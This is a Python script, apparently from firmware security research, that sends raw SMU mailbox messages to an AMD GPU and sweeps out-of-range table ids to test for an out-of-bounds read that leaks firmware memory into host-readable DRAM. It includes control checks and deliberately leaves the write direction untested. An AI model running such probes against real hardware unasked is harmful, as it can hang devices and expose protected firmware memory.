#!/usr/bin/env python3
"""Probe SMU (MP1) PPSMC_MSG_TransferTableSmu2Dram for an unbounded table_id.

Hypothesis: `table_id` is a raw message argument. The firmware-side enum in
smu13_driver_if_v13_0_0.h ends at TABLE_COUNT = 13, so ids 0..12 are valid. If the
firmware does not range-check the id, it will index its table-descriptor array out of
bounds and DMA whatever that yields into the driver DRAM buffer -- which the host owns
and can read. That is an SMU-internal-memory disclosure primitive.

Controls (required before believing anything):
  positive: TABLE_SMU_METRICS (5) must return OK and produce non-zero bytes, proving
            the transfer path works and that we are reading the right buffer.
  negative: a nonsense id (0xdead) must be handled; if it returns OK with data, the
            bound is missing for arbitrary ids, not just adjacent ones.

Read direction only. TransferTableDram2Smu (the write direction) is deliberately NOT
exercised here: an OOB write into SMU memory risks wedging the SMU, which per
psp_out/CONSTRAINTS.md needs a cold ATX cycle to recover.

Response codes (smu_cmn.h): 1 = OK, 0xFF = FAIL, 0xFE = UNKNOWN_CMD,
0xFD = BAD_PREREQ, 0xFC = BUSY_OTHER, 0 = no response yet (timeout).

usage: PYTHONPATH=/root/psp/tinygrad smu_tableprobe.py [max_id]
"""
import hashlib
import sys
import time

from tinygrad import Device

MSG_TransferTableSmu2Dram = 0x12
MSG_GetSmuVersion = 0x2
TABLE_COUNT = 13
TABLE_NAMES = {0: 'PPTABLE', 1: 'COMBO_PPTABLE', 2: 'WATERMARKS', 3: 'AVFS_PSM_DEBUG',
               4: 'PMSTATUSLOG', 5: 'SMU_METRICS', 6: 'DRIVER_SMU_CONFIG',
               7: 'ACTIVITY_MONITOR_COEFF', 8: 'OVERDRIVE', 9: 'I2C_COMMANDS',
               10: 'DRIVER_INFO', 11: 'ECCINFO', 12: 'WIFIBAND'}
RESP = {0: 'TIMEOUT', 1: 'OK', 0xFF: 'FAIL', 0xFE: 'UNKNOWN_CMD', 0xFD: 'BAD_PREREQ',
        0xFC: 'BUSY_OTHER'}

BUF_LEN = 0x1000


class Probe:
    def __init__(self):
        self.adev = Device["AMD"].iface.dev_impl
        self.smu = self.adev.smu
        self.buf_paddr = self.smu.driver_table_paddr

    def raw_msg(self, msg, param, timeout_ms=2000):
        """Send a message and return (response_code, read_back_arg) without asserting OK."""
        self.adev.mmMP1_SMN_C2PMSG_90.write(0)
        self.adev.mmMP1_SMN_C2PMSG_82.write(param)
        self.adev.mmMP1_SMN_C2PMSG_66.write(msg)
        deadline = time.time() + timeout_ms / 1000.0
        resp = 0
        while time.time() < deadline:
            resp = self.adev.mmMP1_SMN_C2PMSG_90.read()
            if resp != 0:
                break
            time.sleep(0.001)
        return resp, self.adev.mmMP1_SMN_C2PMSG_82.read()

    def zero_buf(self):
        # VRAM over the USB4 bridge needs 4-byte aligned offset AND size (pcie_mem_read
        # asserts otherwise) -- BUF_LEN is 0x1000 so that holds.
        self.adev.vram.view(self.buf_paddr, BUF_LEN)[:] = bytes(BUF_LEN)

    def read_buf(self):
        return bytes(self.adev.vram.view(self.buf_paddr, BUF_LEN)[:])

    def alive(self):
        resp, _ = self.raw_msg(MSG_GetSmuVersion, 0, timeout_ms=500)
        return resp == 1

    def try_table(self, tid):
        self.zero_buf()
        before = self.read_buf()
        assert before == bytes(BUF_LEN), "buffer did not zero -- host write to VRAM failed"
        resp, arg = self.raw_msg(MSG_TransferTableSmu2Dram, tid)
        after = self.read_buf()
        nz = sum(1 for b in after if b)
        return {'id': tid, 'resp': resp, 'resp_s': RESP.get(resp, hex(resp)), 'arg': arg,
                'nonzero': nz, 'sha': hashlib.sha256(after).hexdigest()[:16],
                'head': after[:32].hex()}


def main():
    max_id = int(sys.argv[1], 0) if len(sys.argv) > 1 else 32
    p = Probe()
    print("driver table buffer paddr=0x%x mc=0x%x len=0x%x" % (
        p.buf_paddr, p.adev.paddr2mc(p.buf_paddr), BUF_LEN))
    print("smu alive (GetSmuVersion): %s\n" % p.alive())

    print("%-5s %-22s %-11s %-8s %-8s %s" % ("id", "name", "resp", "nonzero", "sha16", "head"))
    rows = []
    for tid in list(range(max_id)) + [0x100, 0x1000, 0xdead, 0xffff]:
        r = p.try_table(tid)
        rows.append(r)
        print("%-5d %-22s %-11s %-8d %-8s %s" % (
            tid, TABLE_NAMES.get(tid, '' if tid < TABLE_COUNT else '<out of range>'),
            r['resp_s'], r['nonzero'], r['sha'], r['head'][:32]))
        if not p.alive():
            print("\n!! SMU stopped responding after id %d -- aborting. Recover with "
                  "work/atx_power.py cycle 25" % tid)
            break

    ok_inrange = [r for r in rows if r['id'] < TABLE_COUNT and r['resp'] == 1 and r['nonzero']]
    ok_oob = [r for r in rows if r['id'] >= TABLE_COUNT and r['resp'] == 1]
    oob_data = [r for r in ok_oob if r['nonzero']]
    print("\n--- controls")
    print("  positive (in-range ids returning OK with data): %d %s" % (
        len(ok_inrange), [r['id'] for r in ok_inrange]))
    print("  out-of-range ids accepted (resp OK):            %d %s" % (
        len(ok_oob), [r['id'] for r in ok_oob]))
    print("  out-of-range ids that WROTE data to host DRAM:  %d %s" % (
        len(oob_data), [r['id'] for r in oob_data]))
    if not ok_inrange:
        print("\nINCONCLUSIVE: positive control failed, so a negative result means nothing.")
    elif oob_data:
        uniq = {r['sha'] for r in oob_data}
        print("\nPRIMITIVE: table_id is NOT bounded; %d out-of-range ids transferred data "
              "(%d distinct contents) into host-readable DRAM." % (len(oob_data), len(uniq)))
    else:
        print("\nNEGATIVE: every out-of-range id was rejected or produced no data; "
              "table_id appears bounded.")
    print("\nsmu alive at end: %s" % p.alive())


if __name__ == '__main__':
    main()